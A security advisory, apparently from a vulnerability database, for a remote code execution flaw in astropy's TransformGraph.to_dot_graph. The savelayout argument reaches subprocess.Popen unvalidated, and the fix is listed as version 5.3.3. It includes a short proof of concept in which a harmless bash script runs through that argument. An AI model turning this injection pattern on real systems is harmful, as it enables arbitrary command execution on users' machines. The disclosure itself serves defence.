RCE in TranformGraph().to_dot_graph function
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>$ cat /tmp/poc.txt
astrorceImpact
code execution on the user's machine
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | astropy | < 5.3.3 | 5.3.3 |
References
- https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
- https://nvd.nist.gov/vuln/detail/CVE-2023-41334
- https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
- https://github.com/astropy/astropy
- https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
- https://pypi.org/project/astropy
- https://github.com/advisories/GHSA-h2x6-5jx5-46hf
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-74, CWE-77- Platform
- Python (PyPI)
- Package
astropy- Disclosed
- 18.03.2024
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1199 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h2x6-5jx5-46hf - CC BY 4.0
Vulnerability history: astropy
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.